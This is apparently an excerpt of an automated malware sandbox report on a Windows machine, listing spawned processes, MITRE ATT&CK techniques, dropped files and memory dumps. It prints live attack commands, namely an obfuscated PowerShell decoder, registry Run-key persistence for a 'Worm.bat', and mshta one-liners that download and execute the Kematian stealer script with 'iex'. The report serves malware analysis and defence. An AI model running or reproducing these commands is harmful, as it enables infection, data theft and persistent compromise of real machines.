/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4='';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, ''$jkEZ6Itm'', ''''));$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'''') $obuXd1W"'"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_AIO.cmd"1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /hc /shared Global\b508e346f58d47c9880ad6c9223c3196 /t 10200 /p 2360 189761⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Windows\system32\findstr.exefindstr /L /I set ud.bat1⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --runtime --supervisor-pid 41681⤵
-
C:\Windows\system32\mshta.exemshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))1⤵
-
C:\Windows\a\AA_v3.exe"C:\Windows\a\AA_v3.exe" -service -lunch1⤵
-
C:\Windows\a\AA_v3.exe"C:\Windows\a\AA_v3.exe"2⤵
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" --disk-diag-svc1⤵
-
C:\Windows\system32\findstr.exefindstr /L /I goto ud.bat1⤵
-
C:\Windows\system32\mshta.exemshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))1⤵
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
2Disable or Modify System Firewall
1Indirect Command Execution
1Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
269b7cfd.exe
bridge-agent.log
bridge-agent.log
bridge-agent.log
7.tmp
8.tmp
93sxbe2k.exe
FE5C08.tmp
365.ico
main.bmp
AutoIt3.exe
INSTALLER
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
base_library.zip
cacert.pem
md.cp313-win_amd64.pyd
md__mypyc.cp313-win_amd64.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyarmor_runtime.pyd
python3.DLL
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
103.exe
1_16792_newb.bat
Weekly-Report-1150902-1-pdf.exe
XClient.exe
cabal.exe
donut.exe
file_3c7c16fb45b485e2.exe
file_ddc6c6aa8ace95a7.ps1
file_deaad5d12778941d.exe
kdmapper_Release.exe
keygen.exe
mini_04.exe
m_finnish.wnry
qt51crk.exe
rock.exe
support.client.exe
test.vbs
ud.bat
update.exe
update.exe
xrUHBmzvLAgHfnQCerRv.exe
ioSpecial.ini
ioSpecial.ini
~DF683c.tmp
Signature Nib.msi
DirectX.log
cache.txt
4J8576A0E8V3.exe
LOIC.exe
namu864.exe
jk.bat
mail.vbs
memory/252-4325-0x000001F94A590000-0x000001F94A598000-memory.dmp
memory/252-214-0x000001F94A520000-0x000001F94A542000-memory.dmp
memory/696-348-0x0000000070180000-0x000000007022A000-memory.dmp
memory/1196-1583-0x000000001C840000-0x000000001C918000-memory.dmp
memory/1196-1507-0x00000000033B0000-0x000000000342C000-memory.dmp
memory/1404-258-0x0000000000AC0000-0x0000000000AE6000-memory.dmp
memory/2404-362-0x0000019C7DEB0000-0x0000019C7DF00000-memory.dmp
memory/2404-277-0x0000019C7D120000-0x0000019C7D2A8000-memory.dmp
memory/2404-276-0x0000019C62AE0000-0x0000019C62AE8000-memory.dmp
memory/2732-4159-0x0000000000400000-0x000000000040E000-memory.dmp
memory/3688-3014-0x0000000000600000-0x0000000000608000-memory.dmp
memory/3892-313-0x0000000005B60000-0x0000000005BEC000-memory.dmp
memory/3892-316-0x0000000006840000-0x0000000006DFA000-memory.dmp
memory/3892-314-0x0000000005C00000-0x0000000005C22000-memory.dmp
memory/3892-315-0x0000000005CA0000-0x0000000005E4A000-memory.dmp
memory/3892-308-0x0000000003480000-0x0000000003488000-memory.dmp
memory/3892-310-0x0000000005F90000-0x0000000006280000-memory.dmp
memory/4648-337-0x000002259F170000-0x000002259F176000-memory.dmp
memory/4700-234-0x00000000001F0000-0x00000000001F1000-memory.dmp
memory/4700-259-0x0000000140000000-0x000000014014E000-memory.dmp
memory/5060-311-0x0000000070180000-0x000000007022A000-memory.dmp
memory/5224-3198-0x0000000000330000-0x0000000000346000-memory.dmp
memory/5524-481-0x0000013630810000-0x000001363082E000-memory.dmp
memory/5524-3708-0x0000018AE53F0000-0x0000018AE55B2000-memory.dmp
memory/5524-3707-0x0000018ACAD20000-0x0000018ACAD38000-memory.dmp
memory/5524-385-0x00000136302A0000-0x00000136302AA000-memory.dmp
memory/5636-226-0x000001CC84200000-0x000001CC84201000-memory.dmp
memory/5636-222-0x000001CC84200000-0x000001CC84201000-memory.dmp
memory/5636-221-0x000001CC84200000-0x000001CC84201000-memory.dmp
memory/5636-197-0x000001CC84200000-0x000001CC84201000-memory.dmp
memory/5636-223-0x000001CC84200000-0x000001CC84201000-memory.dmp
memory/5636-224-0x000001CC84200000-0x000001CC84201000-memory.dmp
memory/5636-199-0x000001CC84200000-0x000001CC84201000-memory.dmp
memory/5636-225-0x000001CC84200000-0x000001CC84201000-memory.dmp
memory/5888-4394-0x0000000000CF0000-0x0000000000D01000-memory.dmp
memory/5928-569-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-1544-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-918-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-1656-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-939-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-558-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-553-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-940-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-1867-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-1840-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-875-0x0000000740000000-0x0000000740285000-memory.dmp
memory/5928-540-0x0000000740000000-0x0000000740285000-memory.dmp
memory/6244-1524-0x0000000140000000-0x0000000140031000-memory.dmp
memory/6532-1541-0x0000000710000000-0x00000007101EF000-memory.dmp
memory/6612-2533-0x00000000006D0000-0x00000000006D8000-memory.dmp
memory/7468-882-0x000001C6F89F0000-0x000001C6F8A14000-memory.dmp
memory/7468-880-0x000001C6F89F0000-0x000001C6F8A1A000-memory.dmp
memory/7472-1506-0x000000001C910000-0x000000001C98C000-memory.dmp
memory/7472-1543-0x000000001CA90000-0x000000001CB68000-memory.dmp
memory/7672-621-0x00007FF76F0D0000-0x00007FF76F0EF000-memory.dmp
memory/8576-712-0x0000000000070000-0x0000000000086000-memory.dmp
memory/8852-4151-0x00000000002E0000-0x00000000002F8000-memory.dmp
memory/9184-1605-0x0000000000680000-0x0000000000690000-memory.dmp
memory/9460-4400-0x0000000000400000-0x00000000004CD000-memory.dmp
memory/9852-1598-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/10392-4792-0x0000000140000000-0x00000001402AC000-memory.dmp
memory/10708-900-0x00007FF728D40000-0x00007FF728D8A000-memory.dmp
memory/11596-5030-0x0000013E7E280000-0x0000013E7E29A000-memory.dmp
memory/11620-2420-0x0000000000400000-0x0000000000536000-memory.dmp
memory/11792-4589-0x0000000000810000-0x00000000008D0000-memory.dmp
memory/12112-2333-0x0000000000400000-0x0000000000552000-memory.dmp
memory/16324-3881-0x0000027231BE0000-0x0000027231D82000-memory.dmp
memory/16372-1458-0x0000000000400000-0x0000000000552000-memory.dmp
memory/16480-4392-0x0000000000690000-0x0000000000698000-memory.dmp
memory/16512-1874-0x0000000000400000-0x000000000040C000-memory.dmp
memory/16896-3634-0x000001CC3DAD0000-0x000001CC3DAE0000-memory.dmp
memory/16984-2388-0x0000000000400000-0x00000000004CD000-memory.dmp
memory/17008-2238-0x0000000000400000-0x0000000000407000-memory.dmp
memory/17020-2713-0x0000000000400000-0x0000000000487000-memory.dmp
memory/17080-3513-0x0000000000400000-0x000000000040E000-memory.dmp
memory/17092-1866-0x0000000000400000-0x000000000041B000-memory.dmp
memory/17112-1575-0x0000000000400000-0x000000000043C000-memory.dmp
memory/17344-5040-0x0000000000620000-0x00000000006B0000-memory.dmp
memory/18116-3911-0x0000000005270000-0x00000000052D6000-memory.dmp
memory/18116-3034-0x0000000000740000-0x00000000009BE000-memory.dmp
memory/18160-4339-0x0000000000F80000-0x00000000012A4000-memory.dmp
memory/18836-2232-0x0000000000060000-0x0000000000088000-memory.dmp
memory/18860-3018-0x0000000000B60000-0x0000000000B68000-memory.dmp
memory/18896-2233-0x0000000000BB0000-0x0000000000BC0000-memory.dmp
memory/18916-2222-0x0000000000D10000-0x0000000000E68000-memory.dmp
memory/18916-2479-0x0000000005B70000-0x0000000005C02000-memory.dmp
memory/18916-2390-0x0000000005800000-0x0000000005952000-memory.dmp
memory/19080-4163-0x0000000000400000-0x000000000040B000-memory.dmp
memory/20196-2559-0x00000000002D0000-0x00000000002E0000-memory.dmp
memory/20432-3879-0x0000000000F80000-0x0000000000F96000-memory.dmp
memory/20484-4390-0x00000000007C0000-0x00000000009BA000-memory.dmp
memory/20484-4793-0x0000000001530000-0x0000000001538000-memory.dmp
memory/20540-4799-0x0000000005540000-0x000000000589B000-memory.dmp
memory/20540-4558-0x0000000000C10000-0x0000000000C1A000-memory.dmp
memory/20956-3878-0x0000000000990000-0x00000000009A6000-memory.dmp
memory/21100-4397-0x0000000004C60000-0x0000000004CFC000-memory.dmp
memory/21100-4396-0x00000000002D0000-0x000000000032A000-memory.dmp
memory/21480-4769-0x00000219F18F0000-0x00000219F1B10000-memory.dmp
memory/21480-4772-0x00000219D8C60000-0x00000219D8C72000-memory.dmp
memory/21564-4144-0x00000190A7C30000-0x00000190A7C60000-memory.dmp
memory/21920-4391-0x0000000000B60000-0x0000000000BF0000-memory.dmp
memory/22180-3877-0x00000000001A0000-0x00000000001AE000-memory.dmp
memory/22224-3721-0x00000000003A0000-0x00000000003C2000-memory.dmp
memory/22700-3880-0x000001E2F9430000-0x000001E2F9458000-memory.dmp
memory/22896-4101-0x0000000000340000-0x000000000039E000-memory.dmp
memory/22896-4764-0x0000000005430000-0x0000000005A48000-memory.dmp
memory/22896-4551-0x0000000004D50000-0x0000000004E0C000-memory.dmp
memory/22920-4154-0x000001588AFE0000-0x000001588B02A000-memory.dmp
memory/23896-4800-0x00000000002C0000-0x0000000000370000-memory.dmp